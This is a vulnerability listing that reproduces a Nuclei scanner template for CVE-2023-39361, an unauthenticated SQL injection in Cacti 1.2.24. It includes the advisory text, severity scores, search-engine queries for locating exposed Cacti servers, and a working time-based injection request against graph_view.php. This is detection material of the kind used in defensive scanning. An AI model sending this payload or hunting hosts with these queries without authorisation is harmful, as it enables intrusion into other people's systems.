Cacti 1.2.24 - SQL Injection

2023-09-0611:39:51

ProjectDiscovery

github.com

cacti monitoring framework

sql injection

guest user access

potential for significant damage

administrative privileges

remote code execution

version 1.2.25 upgrade

no workarounds

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.521 Medium

EPSS

Percentile

97.6%

JSON

Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.

id: CVE-2023-39361

info:
  name: Cacti 1.2.24 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  reference:
    - https://github.com/Cacti/cacti/security/advisories/GHSA-6r43-q2fw-5wrg
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39361
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/CFH3J2WVBKY4ZJNMARVOWJQK6PSLPHFH/
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/WZGB2UXJEUYWWA6IWVFQ3ZTP22FIHMGN/
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/WOQFYGLZBAWT4AWNMO7DU73QXWPXTCKH/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39361
    cwe-id: CWE-89
    epss-score: 0.233
    epss-percentile: 0.9655
    cpe: cpe:2.3:a:cacti:cacti:1.2.24:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cacti
    product: cacti
    shodan-query:
      - title:"Login to Cacti"
      - http.title:"login to cacti"
      - http.title:"cacti"
      - http.favicon.hash:"-1797138069"
    fofa-query:
      - icon_hash="-1797138069"
      - title="cacti"
      - title="login to cacti"
    google-query:
      - intitle:"cacti"
      - intitle:"login to cacti"
  tags: cve2023,cve,cacti,sqli

http:
  - raw:
      - |
        @timeout: 20s
        GET /graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=%22or+%22%22%3D%22%28%28%22%29%29%3BSELECT+SLEEP%2810%29%3B--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=10'
          - 'status_code == 200'
          - 'contains_all(body, "Tree Mode", "cacti")'
        condition: and
# digest: 490a00463044022002af61baaf992b1167e9f2985b01c088d748134231a69f9fd3a5381851a758c402202527d2063c1039eefc8947a87236bf4cb6fcb0cccf8d8e5d6d1fe9346f0ef463:922c64590222798bb761d5b6d8e72950